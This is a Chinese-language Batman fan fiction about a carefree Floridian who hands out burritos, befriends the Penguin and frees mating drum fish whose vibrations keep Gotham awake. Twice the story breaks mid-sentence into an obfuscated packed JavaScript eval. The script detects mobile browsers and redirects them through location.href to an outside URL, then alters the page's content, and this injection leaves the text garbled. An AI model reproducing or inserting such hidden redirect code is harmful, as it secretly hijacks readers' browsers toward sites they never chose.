提姆把这段时间线标出来,又调出达斯汀的行动轨迹,两相对比,几乎完全重合。 他沉默了三秒,然后打开通讯器。 “B,你得看看这个。” --- 二十分钟后,蝙蝠侠站在屏幕前,看着提姆整理出来的数据。 “他出现的地方,暴力事件减少。”提姆指着图表,“不是完全消失,但概率下降明显。目前收集到的样本里,有十七次冲突在他出现后中止。” 蝙蝠侠盯着那些红点——每个红点都是一次“卷饼停战”事件。 “原因呢?” 提姆耸耸肩:“不知道。他什么也没做,就是发卷饼。然后那些人就吃了,然后就不打了。最离谱的一次——企鹅人的人正在砸一个商铺,他走过去,给砸门的那个递了卷饼,那个人接了,然后就没砸下去。” 蝙蝠侠沉默了很久。 提姆调出另一组数据,“他除了发卷饼,什么都不干。住的地方是东区一个老太太的房子,鳄鱼和火烈鸟都养着,没有任何犯罪记录,也没有任何目的性行为。” 蝙蝠侠看着屏幕上那个穿着花裤衩、蹲在街边喂猫的身影。 “继续监控。” 他转身离开,披风在身后扬起。 提姆看着他的背影,又看看屏幕上的达斯汀,小声嘀咕了一句:“你倒是告诉我这人什么路数啊……” 屏幕里的达斯汀正在对着镜头挥手——他不知道那是监控,只是看到有个黑乎乎的东西对着自己,就挥了挥手。 提姆把那个画面截了下来。 不知道为什么,他没删。 --- 达斯汀放鱼后的第二天,哥谭出现了一个奇怪的现象。 东区的居民最先发现——晚上开始有低沉的嗡嗡声,从地下传上来,像有人在很远的地方敲鼓。不吵,但烦。戴上耳塞还能感觉到,因为它更像是震动,而不是声音。 一开始没人当回事。 可能是施工,可能是下水道检修,可能是某个工厂的机器。 但到了第三天晚上,声音变大了。 整个东区都能听见。 声音穿透了地基,穿透了墙壁,穿透了窗户—— 哥谭人开始失眠。 东区的居民最先发现问题——一种低沉的嗡嗡声从地底传来,像是有人在用低音炮放音乐,但关了窗、塞了耳塞都没用,因为它不是声音,是震动。 犯罪巷的流浪汉们最先崩溃。他们睡在地面上,离下水道最近,那震动像有人拿着鼓槌在他们脑子里敲。 ---达斯汀的公寓--- 达斯汀躺在床上,睁着眼睛。 小饼干趴在浴缸里,呼噜声均匀。 火烈鸟蹲在窗台上,脑袋埋进翅膀底下。 达斯汀盯着天花板,感受着那从地板传来的嗡嗡声。 然后他笑了。 “还挺好听,”他自言自语,“像佛罗里达的飓风。” 他翻了个身,很快睡着了。 4. 鱼中 达斯汀在哥谭的第五天,决定去南区看看。 不是因为有什么目的,单纯是因为这几天把东区逛得差不多了。下水道去了,犯罪巷去了,那个卖子弹的自动贩卖机他也研究过了——结论是“哥谭人真有意思,连自动贩卖机都比佛罗里达朋克”。 小饼干趴在他脚边,懒得动。 火烈鸟蹲在窗台上,也懒得动。 “行,”达斯汀点点头,“你俩看家,我出去溜达。” 他下楼的时候,老太太正在门口晒太阳——如果哥谭那灰蒙蒙的天算太阳的话。 “今天去哪送死?” “南区。”达斯汀说,“听说那边有个赌场,去看看。” 老太太的独眼眯了眯。 “企鹅人的地盘。” “我知道啊,电视上看到过,走路像浣熊那个。” 老太太沉默了三秒。 “你最好别去。” “为什么?” “因为企鹅人不像我这么好说话。” 达斯汀想了想,从腰包里掏出一个卷饼递给她。 “没事,我有这个。” 老太太看着手里的卷饼,又看着他的背影消失在街角,叹了口气。 “这小子活不过一周。” 南区比东区干净得多。 街道宽敞,路灯全亮,垃圾桶立得整整齐齐,墙上也没有涂鸦。每隔一段路就站着一个穿黑西装的人,双手交叠在身前,眼睛盯着过往的行人。 达斯汀吹着口哨走在街上,花裤衩在南区的灰暗背景里像一盏移动的霓虹灯。 那些黑西装的人看到他,集体愣了一秒。 其中一个人拿起对讲机,说了几句什么。 达斯汀没注意到。他正在研究路边一家店的招牌——“企鹅人的冰山餐厅”——下面的霓虹灯管闪得很有节奏感。 “这名字有意思。”他点点头,推门进去。 餐厅里很安静,铺着暗红色的地毯,墙上挂着企鹅主题的画。几个穿西装的客人正在用餐,看到他的花裤衩,刀叉停在半空。 达斯汀冲他们挥了挥手,然后径直走向吧台。 吧台后面站着一个光头,脖子上纹着伞蜥蜴——正是前几天被红头罩打过的那位。 光头看到他,手里的杯子差点掉下来。 “你……” “你好!”达斯汀热情地打招呼,“吃卷饼吗?” 他从腰包里掏出一个热腾腾的卷饼,递到光头面前。 光头盯着那个卷饼,脑子里飞快地转着。 老板说要找到这个人,没说找到之后怎么办。是抓?是杀?还是请来喝茶? 但卷饼的香味钻进鼻子,他早上没吃饭,确实有点饿。 他伸手接了。 咬了一口。 嚼了两下。 又咬了一口。 旁边那几个用餐的西装客面面相觑。 光头吃完,舔了舔手指,看着达斯汀的眼神变了。 “你……还有吗?” “有啊。”达斯汀又掏出两个,放到吧台上,“给兄弟们分分。” 光头犹豫了两秒,然后拿起对讲机。 “都进来,有吃的。” 三十秒后,七八个黑西装涌进餐厅,围在吧台前,每个人手里捧着一个热腾腾的卷饼。 达斯汀坐在吧台椅上,翘着二郎腿,看他们吃。 “好吃吗?” “嗯。” “嗯嗯。” “嗯嗯嗯。” 光头吃完第二个,擦了擦嘴,问:“你来南区干嘛?” 达斯汀想了想:“听说这边有个走路像浣熊的胖子,来看看。” 光头的嘴角抽了抽。 “那是我们老板。” “那他在吗?” 光头沉默了三秒,然后拿起对讲机。 “老板,有个花裤衩的找你。” 企鹅人从楼上下来的时候,看到的是这样一幅画面—— 他的八个手下围坐在吧台前,每个人手里都拿着卷饼,吃得很投入。那个穿花裤衩的男人坐在他们中间,正在讲佛罗里达的鳄鱼怎么追冲浪的人。 “……然后那条鳄鱼追了他二十分钟,最后发现是冲浪板长得像另一条鳄鱼。那哥们儿现在还在医院,但不是因为被咬,是因为笑得太多抽筋了。” 几个人笑得前仰后合。 企鹅人的雪茄差点从嘴里掉下来。 “你们在干什么?” 笑声停了。 光头站起来,脸上的表情像做错事的孩子:“老板,这个人……他说他来找你。” 企鹅人盯着达斯汀。 达斯汀也盯着他,然后眼睛亮了。 “浣熊!” 企鹅人的嘴角抽了抽。 “你说什么?” “走路像浣熊那个。”达斯汀从吧椅上跳下来,走过去,从腰包里掏出一个卷饼递过去,“你好,我叫达斯汀,佛罗里达来的。” 企鹅人没接。 他盯着达斯汀看了三秒,然后开口,声音低沉:“你知道我是谁吗?” “知道啊,企鹅人。电视上见过。” “那你还敢来?” 达斯汀想了想:“为什么不敢?你又不吃人。” 企鹅人的手下们集体屏住呼吸。 企鹅人沉默了几秒,然后冷笑一声。 “我不吃人,但我杀人。” “那你杀过人之后,吃饭吗?” 企鹅人愣住了。 这是什么问题? 达斯汀把卷饼往前递了递:“先吃吧。你脸色不太好,最近没睡好吧?” 企鹅人盯着那个卷饼。 他确实没睡好。 连续三天,那个该死的噪音从地下传来,嗡嗡嗡,嗡嗡嗡,像有人在脑子里敲鼓。他换了三个房间,加了双层隔音,甚至搬到地下室——噪音反而更大了。 他已经三天没合眼,眼圈黑得像熊猫。 卷饼的香味飘进鼻子里。 他鬼使神差地伸手接了。 咬了一口。 嚼了两下。 他愣住了。 噪音的感觉……好像变轻了? 不是听不见,而是那种烦躁感,那种想杀人的冲动,像被什么东西压下去了一点。 他又咬了一口。 噪音还在,但好像……没那么让人暴躁了。 达斯汀看着他吃,满意地点点头:“怎么样?好吃吧?” 企鹅人嚼着卷饼,盯着达斯汀的眼神变了。 不是警惕,不是敌意,而是……审视。 这个人,这个卷饼,那个该死的噪音…… 他脑子里飞速转着。 “你那个卷饼,”他开口,声音比刚才平和了一点,“哪来的?” “做的啊。”达斯汀拍拍腰包,“里面有个朋友送的,一直放着,反正拿出来就是热的。” 企鹅人看着那个破旧的腰包,眯了眯眼睛。 “就这个?” “对啊。” 企鹅人沉默了几秒,然后突然笑了。 不是冷笑,是真的笑。 达斯汀也笑了:“你笑起来挺好看的,比电视上那个假笑好多了。” 企鹅人的手下们集体石化。 他们跟了老板这么多年,从来没见过他这么笑。 企鹅人把剩下的卷饼吃完,拍了拍手。 “达斯汀是吧?”他说,“以后叫我科波特就行。那几个字太长。” 达斯汀点头:“行,科波特。” 企鹅人转头对手下说:“去拿两瓶好酒,再让厨房做点吃的。这位是我朋友。” 手下们面面相觑,然后飞快地去办了。 达斯汀被请到最好的位置,面前摆满了食物。企鹅人坐在他对面,亲自给他倒酒。 “你那个卷饼,”企鹅人说,“还有多少?” “挺多的,每天能掏出来几十个吧。” “卖吗?” “不卖,只送。” 企鹅人沉默了一秒,然后点头。 “行,以后你每天来我这儿坐坐,卷饼给兄弟们发发。” 达斯汀眼睛亮了:“真的?” “真的。”企鹅人端起酒杯,“就当交个朋友。” 达斯汀和他碰了杯,一口闷了。 企鹅人看着他喝,又笑了笑。 他暂时动不了这个人。不是因为卷饼好吃,是因为那个该死的噪音——他发现吃完卷饼之后,噪音的烦躁感会减轻一段时间。 如果这个人每天来,如果他的卷饼能持续有效…… 企鹅人眯了眯眼睛。 这比打东区值钱多了。 ---下水道--- 凌晨四点,一个黑影出现在东区的某个井盖旁。 他蹲下来,撬开井盖,往下看了一眼。 然后他跳了进去。 下水道里很黑,但他戴着夜视仪。他沿着水泥台往前走,躲过几个睡觉的流浪汉,一直走到管道交汇的地方。 那里有一群鱼。 比正常的鱼群多得多,密密麻麻挤在水流较缓的区域。 黑影蹲下来,仔细观察。 鱼在动,但不是随便游。它们在努力往上游,逆着水流,一次又一次地冲上去,又被冲回来。每一次冲击,身体都会弯曲,然后——震动。 黑影把手贴在水边的水泥台上。 感觉到了。 那震动从水里传上来,沿着水泥传进他的掌心,频率稳定,像是—— 心跳。 不,比心跳更快,像鼓点。 黑影站起来,打开一个小型仪器,伸进水里。几秒后,屏幕上跳出一行数据: 多须石首鱼(Pogonias cromis),俗称黑鼓鱼,原产地:佛罗里达海域。发情期雄性会通过肌肉抵住鱼鳔产生震动,频率100-500赫兹,用于求偶。群居繁殖时震动可叠加,穿透力极强。 黑影盯着那行字,沉默了很久。 佛罗里达。该去找他了。 他站起来,转身离开。走到井盖下的时候,他回头看了一眼那群还在努力往上冲的鱼。 它们想游上去,想找个安静的地方下崽。但这段水道堵了,它们上不去,只能挤在这里,一遍一遍地冲,一遍一遍地震。 整个东区,甚至更远的地方,都被它们的“求偶鼓声”震得睡不着。 黑影爬上地面,盖上井盖,消失在夜色中。 ---韦恩庄园--- 杰森·托德翻进韦恩庄园的后墙,落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们俩……私会?” “闭嘴。”杰森说。 “我是下来找水的。”迪克走下楼梯,路过他们,走进厨房,倒了杯水,又走出来,靠在墙上,“你们也是被那破声音吵醒的?” “我是回来找东西。”杰森说。 “我是出来倒咖啡。”提姆说。 三人沉默着站在走廊里。 楼上又传来脚步声。 这次是达米安。他穿着睡衣,手里拿着把刀,眼睛下面两个黑眼圈,脸色比平时更臭。 他看着走廊里的三个人,又看着他们手里的东西——杰森的空手,提姆的咖啡杯,迪克的水杯。 “你们在开派对?”他的声音同样有气无力。 “你来干嘛?”迪克问。 达米安沉默了一秒。 “睡不着。下来看看有没有人打。” 迪克叹了口气。 四个人站在走廊里,谁也没说话。 那该死的嗡嗡声还在继续,从地板下面传上来,震得人头皮发麻。 达米安先开口:“所以那声音到底是什么?” 提姆:“鱼。” 达米安:“……鱼?” 提姆:“多须石首鱼。发情。” 达米安沉默了。 迪克笑出声来:“所以那个把我们全吵得睡不着的东西,是鱼在谈恋爱?” 提姆点头。 杰森咬着披萨,嘴角居然往上翘了一点。 达米安的脸黑了。 他想说点什么,但不知道该说什么。 鱼。发情。谈恋爱。把所有人都吵得睡不着。 这他妈是什么剧情? 迪克已经笑得蹲下去了。 杰森吃完最后一口披萨,擦了擦手。 “行了,我拿完东西就走了。”他走向窗户。 迪克在后面喊:“不聊会儿?” “跟你有什么好聊的。” 达米安哼了一声:“他怕我们问他怎么认识那个花裤衩的。” 杰森的脚步骤然停住。 他转过头,眼神危险地眯起来。 达米安毫不示弱地瞪回去。 提姆靠在台面上,端着咖啡,一副“我不参与”的表情。 迪克笑得更开心了。 厨房里的气氛微妙起来。 然后,远处传来一声响动。 所有人都安静下来。 脚步声。 从楼梯上下来。 越来越近。 四个人对视一眼。 下一秒—— 杰森翻窗。 迪克翻身回滴水兽。 提姆端着咖啡往地下室走。 达米安拿着水杯往楼上跑。 厨房里瞬间空了。 三秒后,阿尔弗雷德端着一杯茶走进来。 他看着空荡荡的厨房,又看看那个被打开的冰箱,又看看窗户上还没关好的缝隙。 他叹了口气。 “少爷们,下次记得关窗。” 没人回应。 阿尔弗雷德摇摇头,把窗户关上,端着茶走了。 5. 鱼下 达斯汀决定回下水道看看那群鱼。 不是有什么目的,单纯是因为昨天晚上躺在床上听那嗡嗡声的时候,他突然想起一件事——那群鱼好像想往上游,但游不上去。 “堵住了。”他对小饼干说,小饼干趴在浴缸里,懒得动。 “得帮帮它们。” 火烈鸟蹲在窗台上,叫了一声,表示赞同。 达斯汀点点头,从腰包里掏出一个卷饼,边吃边下楼。 老太太坐在门口择菜,眼睛下面两个黑眼圈。 “早啊。”达斯汀打招呼。 老太太抬头看了他一眼,那眼神像看一个怪物。 “你睡得着?” “睡得着啊。”达斯汀点头,“怎么了?” 老太太沉默了三秒。 “整个东区都睡不着,你睡得着?” 达斯汀想了想,好像确实没什么影响。他在佛罗里达的时候,飓风来了都能睡,这点震动算什么。 “可能是因为我习惯了。”他说,“佛罗里达什么都吵。” 老太太盯着他看了很久,然后低下头继续择菜。 “你昨天去见到那个胖子了?” “见到了。”达斯汀蹲下来,从腰包里掏出一个卷饼递给她,“他还请我喝酒来着。” 老太太接过卷饼,愣了一下。 “企鹅人请你喝酒?” “对啊。” 老太太沉默了很久。 “你知道他是什么人吗?” “知道啊,开赌场的。” 老太太叹了口气。 “小子,在哥谭,□□老大请你喝酒,不是好事。” 达斯汀想了想:“但他人挺好的啊,还让我以后常去。” 老太太没说话。她咬了一口卷饼,嚼着嚼着,突然问:“你那卷饼,到底是什么东西?” “就是卷饼啊。”达斯汀拍拍腰包,“朋友送的,一直放着,拿出来就是热的。” 老太太盯着那个破旧的腰包看了很久。 然后她摇摇头,继续择菜。 “你去吧。反正我也拦不住你。” 达斯汀站起来,拍拍裤子,准备出门。 达斯汀带着小饼干找到上次那个井盖。 栅栏还是歪的。 一人一鳄顺着梯子爬下去,火烈鸟留在上面放风——它最近学会了这个,挺喜欢。 下水道里比上次热闹。 走了没多远,就看见几个流浪汉蹲在水泥台上,手里捧着卷饼——是他上次留的那些。 年轻人也在,看到他,眼睛亮了一下。 “你又来了?” “来看看鱼。”达斯汀蹲下来,也掏出个卷饼吃着,“它们还在吗?” “在。”年轻人指着管道交汇的方向,“这几天越来越吵,那群鱼全挤在那儿,想往上冲。” 达斯汀看了看那群鱼,又看了看那段堵住的水道——一堆碎石和淤泥,把通道堵得只剩一条缝。鱼们挤在缝前,一条一条地钻,钻不过去就退回来,然后再钻。 他想了想,站起来,走到那堆碎石前,然后从腰包里掏出一把锤子。 年轻人的嘴张开了。 那把锤子——至少三斤重,木头把,铁头,完全不应该从一个腰包里掏出来。 达斯汀没注意到他的表情,抡起锤子,对着那堆碎石砸了下去。 咚。 碎石崩了一块。 咚。 又崩一块。 咚。咚。咚。 年轻人往后退了两步,怕被碎石崩到。其他几个流浪汉也从睡袋里爬出来,目瞪口呆地看着那个穿花裤衩的男人抡着锤子砸墙。 鱼群被震得散开,但很快又聚回来。 达斯汀砸了二十分钟,停下来喘口气。他看着那堆碎石——已经被砸开了一个洞,比之前大了不少,但还不够。 他把锤子收进腰包,又掏出一根撬棍。 年轻人的嘴张得更大了。 那撬棍——一米多长,铁的——就这么从那小腰包里抽出来。 达斯汀把撬棍插进石缝,用力一撬。 轰隆一声,一大块石头滚下来,砸进水里,溅起一片水花。 鱼群瞬间涌过去,争先恐后地钻进那个新开的通道。 达斯汀蹲在边上,看着它们游过去,笑得像个孩子。 “成了成了,快过去吧,别挤着。” 一条鱼跳起来,甩了他一脸水。 达斯汀抹了抹脸,笑得更开心了。 “行了,自由恋爱去吧。” 此时。 布鲁斯·韦恩穿着灰色工装裤,戴着一顶棒球帽,脸上架着一副平光眼镜,手里拿着一个工具箱。他沿着下水道走,手电的光扫过水面,时不时停下来,蹲下,用小网捞几条鱼,放进水桶。 这是他为自己设计的伪装身份:卡修斯,一个退休的水产商,对哥谭的鱼类资源感兴趣。证件齐全,背景干净,经得起查。 当然,他真正的目的是调查那个佛罗里达人。 监控显示,那个人今天又进了下水道。 布鲁斯沿着主通道往前走,拐了几个弯,然后听到前面传来咚咚咚的声音。 他放轻脚步,摸过去,然后看到了那个画面—— 一个穿花裤衩的男人,抡着锤子在砸墙。旁边蹲着几个流浪汉,用看神迹的眼神看着他。 布鲁斯站在阴影里,观察了五分钟。 那人砸一会儿,歇一会儿,然后从腰包里掏出个卷饼吃两口,继续砸。腰包看起来空空的,但他能从中掏出锤子、撬棍、卷饼。 布鲁斯的眉头皱了起来。 他见过很多奇怪的东西,但这个…… 砸墙终于停了。那人蹲到水边,看着鱼群涌过洞口,笑得一脸满足。 布鲁斯从阴影里走出来,装作刚发现他们的样子,用手电照了照。 “哟,有人啊?” 达斯汀转过头,看到个穿着工装的老头,手里拿着手电和水桶。 “你好!”他热情地挥手,“你也来玩?” 布鲁斯走近几步,目光扫过那堆被砸开的碎石,又扫过那个腰包。 “我下来捞点鱼做研究。”他晃了晃水桶,“你这是……” “帮它们开路。”达斯汀指指水道,“堵了,它们游不过去,只能在这发情,吵得上面的人睡不着。” 布鲁斯看了一眼那通道——确实被砸开了。 “你用……锤子砸的?” “对啊。”达斯汀拍拍腰包,“工具齐全。” 布鲁斯沉默了一秒。 “你是修下水道的?” “不是。”达斯汀站起来,拍拍手上的灰,“我是佛罗里达来的,车坏了,等零件,顺便溜达。” 布鲁斯点点头,装作不经意地问:“佛罗里达?那边挺远的。怎么想起来哥谭?” 达斯汀想了想:“追鸟追丢了,就来了。” “……追鸟?” “对,一只火烈鸟。”达斯汀指指地面,“现在在上面待着。” 布鲁斯看着他的表情——真诚,坦然,没有任何撒谎的痕迹。 这人要么是世界上最坦率的骗子,要么就是真的这么离谱。 “那你帮这些鱼,”布鲁斯继续问,“图什么?” 达斯汀愣了一下,好像从没想过这个问题。 “图……它们能游过去?” “我是说,它们和你无亲无故,你为什么要费力气帮它们?” 达斯汀又想了想,然后笑了。 “因为我想啊。” 布鲁斯看着他的眼睛。 那双眼睛很干净,没有任何算计,没有任何功利,就是单纯的——我想做,所以做了。 “在佛罗里达,”达斯汀继续说,“我们经常这样。看到什么不顺眼的,就顺手帮一下。帮完了自己开心,被帮的人也开心,双赢。” 布鲁斯沉默了几秒。 “那如果被帮的人不领情呢?” “那是他们的事。”达斯汀耸耸肩,“我开心我的,他们不领情是他们损失。” 布鲁斯嘴角动了一下——那是被压下去的笑意。 他从水桶里捞出一条鱼,递给达斯汀。 “这条给你。算谢礼。” 达斯汀接过鱼,看了看,然后放回水里。 “不用谢,它自己会游过去。” 布鲁斯点点头,收起水桶。 “你叫什么?” “达斯汀。你呢?” “卡修斯。”布鲁斯说,“叫我老卡就行。” 达斯汀伸出手:“老卡你好。” 布鲁斯握了握那只手——粗糙,有力,没有茧子,不像练过的。 “你在这边住哪?” “东区,一个老太太的公寓。”达斯汀突然想到从腰包里掏出一个卷饼递过去,“吃吗?刚做的。” 布鲁斯低头看着那个卷饼。 卷饼是热的,冒着白气。 他接过来。 假装吃了两口 他看着达斯汀,达斯汀也看着他,笑得毫无防备。 “好吃吗?” “……还行。” “你们哥谭人都说还行。”达斯汀点点头,“就是好吃的意思。对了,要来我那玩嘛?” 布鲁斯摇摇头:“下次吧。还得去别的地方看看。” 达斯汀点点头,挥挥手:“行,那回头见。” 他转身招呼那几个流浪汉:“走吧,我请你们吃卷饼。今天心情好。” 几个人跟着他走了,脚步声渐渐远去。 布鲁斯站在原地,看着那个穿花裤衩的背影消失在黑暗里。 然后他打开通讯器。 “提姆,把他的行动轨迹全部调出来,我要看他这几天的活动。” 提姆的声音从耳机里传来:“已经在做了。另外,B,我刚才监控到他砸墙的全过程。他那腰包……确实有问题。” “我知道。” 布鲁斯看了一眼那堆碎石,又看了一眼水面上还在翻腾的鱼群。 这人……到底什么路数? ---蝙蝠洞--- 提姆把监控画面调出来,放大,再放大。 画面上,达斯汀从腰包里掏出锤子、撬棍、卷饼。整个过程行云流水,没有任何停顿。 他把这段视频反复看了五遍,然后靠在椅背上,盯着天花板。 “这不可能。”他自言自语。 通讯器里传来迪克的声音:“什么不可能?” 提姆把视频发给他。 迪克看完,沉默了三秒。 “他那腰包……是四次元口袋吗?” “不知道。”提姆说,“但肯定不是普通东西。” “布鲁斯呢?” “刚和他接触完,伪装成下水道工人。没发现问题。” 迪克想了想:“那他是好是坏?” 提姆摇头:“不知道。他没有任何恶意行为,但这种情况……比恶意更难处理。” 通讯器里传来达米安的声音:“你们在讨论那个花裤衩?” 提姆一愣:“你怎么知道?” “我装了监听。”达米安说得理直气壮,“我要见他。” “不行。”提姆说,“他身份不明,危险未知。” “他给红头罩发过卷饼。”达米安的声音带着一丝不易察觉的酸味,“为什么不能给我?” 迪克的笑声传来:“达米安,你吃醋了?” “没有。” “有。” “没有!” 杰森的声音突然插进来:“你们能不能别在公共频道吵?” 所有人都安静了。 提姆问:“杰森,你怎么也在?” 杰森沉默了一秒。 “……路过。” 迪克又笑了。 达米安继续:“我要见他。如果你不安排,我自己去。” 通讯器里传来布鲁斯的声音,很低,躲在角落里,防止被人偷听。 “罗宾,不准,他很危险。” 提姆靠在椅背上,盯着屏幕里那个花裤衩——他现在正用卷饼喂流浪狗吃。 他注意到一件事。 从达斯汀进入下水道到现在,那群鱼游过被砸开的洞口,往上游去了。 噪音还在,但频率好像……变了? 他打开音频分析软件,对比前后的波形图。 确实变了。 之前是密集的、压抑的、让人烦躁的嗡嗡声。现在……还是嗡嗡声,但听起来不那么难受了。 好像它们终于找到了路,心情变好了。 提姆看着屏幕上那个穿花裤衩、哼着歌往回走的身影,嘴角动了一下。 他不知道那是什么感觉。 但好像……不讨厌。 ---韦恩庄园--- 杰森再次翻进韦恩庄园的后墙。 这次不是来找东西的,是来找人的。 准确地说,是来找那个该死的鱼的答案的。 他昨天从提姆那儿听说了鱼的来历,回去之后越想越不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376633|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲。那个花裤衩,放了鱼,鱼发情,整个东区都被吵得睡不着——然后他去了企鹅人的冰山餐厅,和那个老对头称兄道弟。 他得问清楚。 厨房的窗户还是没锁。 他翻进去,落地无声。 然后他看到厨房里已经有人了。 提姆坐在餐桌前,面前摊着一堆设备,手里端着咖啡杯——换了第五杯,眼睛下面两个黑眼圈快掉到地上了。 迪克靠在台面上,手里拿着一杯水,穿着睡衣,头发比昨天更乱。 达米安坐在角落的椅子上,手里拿着一本书——但眼睛盯着天花板,根本没在看。 三个人听到动静,同时转过头。 杰森站在窗户边,和他们大眼瞪小眼。 “又回来了?”迪克先开口,声音里带着笑意。 “闭嘴。” 提姆抬起手,有气无力地挥了挥:“来坐。” 杰森沉默了一秒,然后走过去,坐到餐桌旁。 “这是最新资料。”提姆划动屏幕,“佛罗里达人,一周前进入哥谭,目前住在东区一个老太太家里。随身携带一条鳄鱼、一只火烈鸟,以及一个能掏出任何东西的腰包。” 他把监控视频放了一遍。 四个人沉默地看着那个花裤衩从腰包里掏出锤子、撬棍、卷饼。 视频放完,迪克吹了声口哨。 “这比我的伸缩棍酷多了。” 杰森皱眉:“他到底是什么人?” “不知道。”提姆摇头,“但今天他和布鲁斯接触过,布鲁斯没发现问题。” 达米安用刀尖戳着桌面:“他今天做了什么?” “去了下水道,给一群鱼砸墙。”提姆调出另一段视频,“那群鱼是他几天前放的,现在堵在河道里发情,噪音就是它们弄出来的。他砸开墙,帮它们游过去。” 达米安的刀尖停住了。 “他……帮鱼?” “对。” 达米安沉默了。 迪克笑出声:“帮鱼砸墙,让它们谈恋爱。这剧情我编都编不出来。” 杰森嘴角动了动,没说话。 达米安盯着屏幕里那个笑得一脸灿烂的花裤衩,眼神复杂。 “他为什么这么做?” 提姆耸耸肩:“他自己说的——‘因为我想啊’。” 达米安沉默了更久。 然后他站起来。 “我要见他。” 提姆拦住他:“不行。布鲁斯说不可以。” “我不需要他同意。” “你需要。”迪克收起笑容,“达米安,这人目前是无害,但我们不知道他背后有什么。贸然接触可能出问题。” 达米安盯着他,眼神锐利。 “那杰森吃他卷饼的时候,怎么没问题?” 杰森的眉头一挑:“你怎么知道?” 达米安哼了一声:“我看到了。巷子里,他给你递卷饼。” 杰森沉默了一秒。 “……那是意外。” 达米安看向迪克:“他给企鹅人发卷饼,企鹅人吃了;他给下水道的流浪汉发卷饼,流浪汉吃了;他给红头罩发卷饼,红头罩也吃了。为什么我不能?” 迪克被问住了。 提姆揉着太阳穴,觉得头痛。 杰森突然开口:“那家伙确实没恶意。” 三个人都看向他。 杰森继续,声音闷闷的:“我观察过他几天。他就是……到处发吃的,然后傻乐。没别的。” 达米安的眼睛亮了:“那我可以见他了?” “我没说可以。”杰森抱起胳膊,“我是说他没恶意,但你这小屁孩去了谁知道会出什么事。” “我不是小屁孩!” “你就是。” “你——” “行了。”迪克打断他们。 达米安的脸黑了。 但他没再说什么,只是盯着屏幕里那个穿花裤衩的身影,眼神越来越亮。 那眼神,像发现了新玩具。 ---蝙蝠洞--- 布鲁斯·韦恩站在屏幕前,正在用仪器检测卷饼,回想着达斯汀的话。 “我帮鱼是因为鱼想上去。” “我来哥谭是因为车坏了。” “我不用子弹,因为有卷饼。” 每一句话都很简单,没有任何复杂的动机,没有任何隐藏的目的。 但布鲁斯的眉头没有松开。 他调出那个人的档案——佛罗里达,达斯汀·麦克莱恩,27岁,没有任何犯罪记录,没有任何精神病史,没有任何可以被归类的特征。 他的行为无法预测。 他的动机无法解释。 他的腰包无法分析。 但他在东区这几天,暴力冲突下降了百分之三十。企鹅人的手下看到他,会停下来吃卷饼。红头罩看到他,会蹲在巷子里和他聊天。流浪汉看到他,会主动打招呼。 布鲁斯盯着屏幕上那个穿花裤衩、对着监控挥手的身影。 他在想一个问题。 这个人,到底是什么? 威胁?巧合?还是—— 他想起刚才下水道里的对话。 “它们想,我就帮。” 很简单。 简单得不像真的。 但布鲁斯活了这么多年,见过无数谎言,听过无数借口,他知道什么是假的。 刚才那个人的笑,是真的。 恰在此时,机器声音响了,没有任何魔法测的痕迹,就是一个简简单单的卷饼。 阿尔弗雷德恰在此时开口。 “老爷,我想你应该要睡觉了。”阿尔弗雷德手里拿着绿蔬菜汁递给了布鲁斯,“毕竟您早上还有个会要开不是吗?” 布鲁斯看着那绿油油的蔬菜汁,不由的头疼,揉了揉眉心,假装可怜地看着阿福。 ““阿福~” 阿尔弗雷德虽笑不语地看着布鲁斯。 布鲁斯只好无奈地讨饶,喝了这杯绿蔬菜汁。 ---公寓 --- 达斯汀躺在床上,睁着眼睛。 小饼干趴在浴缸里,呼噜声均匀。 火烈鸟蹲在窗台上,脑袋埋进翅膀底下。 那嗡嗡声——变轻了。 不是完全消失,但比前几天轻多了,像是从主旋律变成了背景音。 达斯汀听了一会儿,然后笑了。 “游过去了。”他自言自语,“这下它们能好好谈恋爱了。” 他翻了个身,很快睡着了。 6. 企鹅人的利用 上 哥谭人终于睡了一个好觉。 那嗡嗡声消失了。不是完全消失,而是从让人发狂的震动变成了若有若无的背景音,像远处的高速公路,像海边的潮汐——你根本不会注意到它。 东区的居民们醒来的时候,第一次觉得这个城市没那么糟糕。 达斯汀是被小饼干舔醒的。 那条鳄鱼把湿漉漉的舌头糊在他脸上,喉咙里发出愉悦的咕噜声。火烈鸟站在窗台上,张开翅膀,像在庆祝什么。 “怎么了?”达斯汀坐起来,揉着眼睛。 小饼干用尾巴指向窗外。 阳光——真正的阳光,从云层缝隙里漏下来,照在东区的街道上。 达斯汀愣了一下,然后笑了。 “出太阳了?” 他跳下床,从腰包里摸出三个卷饼,一个自己咬,一个掰给小饼干,一个扔给火烈鸟。 “走,今天天气好,出去溜达。” 下楼的时候,老太太正坐在门口,抬头看天。 “太阳。”她说,语气像在陈述一件不可思议的事。 “对啊,太阳。”达斯汀蹲到她旁边,“你晒太阳吗?” 老太太看了他一眼,接过他递来的卷饼。 “你昨天去下水道了?” “去了,帮鱼搬家。” 老太太咬了一口卷饼,嚼着嚼着,突然问:“你那腰包,能装多少东西?” 达斯汀想了想:“不知道,反正没装满过。” 老太太沉默了。 “在哥谭,这种东西会被人盯上的。” “盯上就盯上呗,”达斯汀站起来,拍拍屁股,“他们盯他们的,我玩我的。” 他挥挥手,带着小饼干走了。火烈鸟犹豫了一下,也跟了上去。 老太太看着那一行——花裤衩、鳄鱼、粉红色的鸟——消失在街角,叹了口气。 “这小子……” ---冰山餐厅--- 企鹅人站在办公室的窗前,看着外面的阳光。 这是他一周以来睡得最好的一觉。那该死的噪音终于消停了,他终于能正常思考了。 他吸了一口雪茄,慢慢吐出烟雾。 东区,红头罩,那个花裤衩。 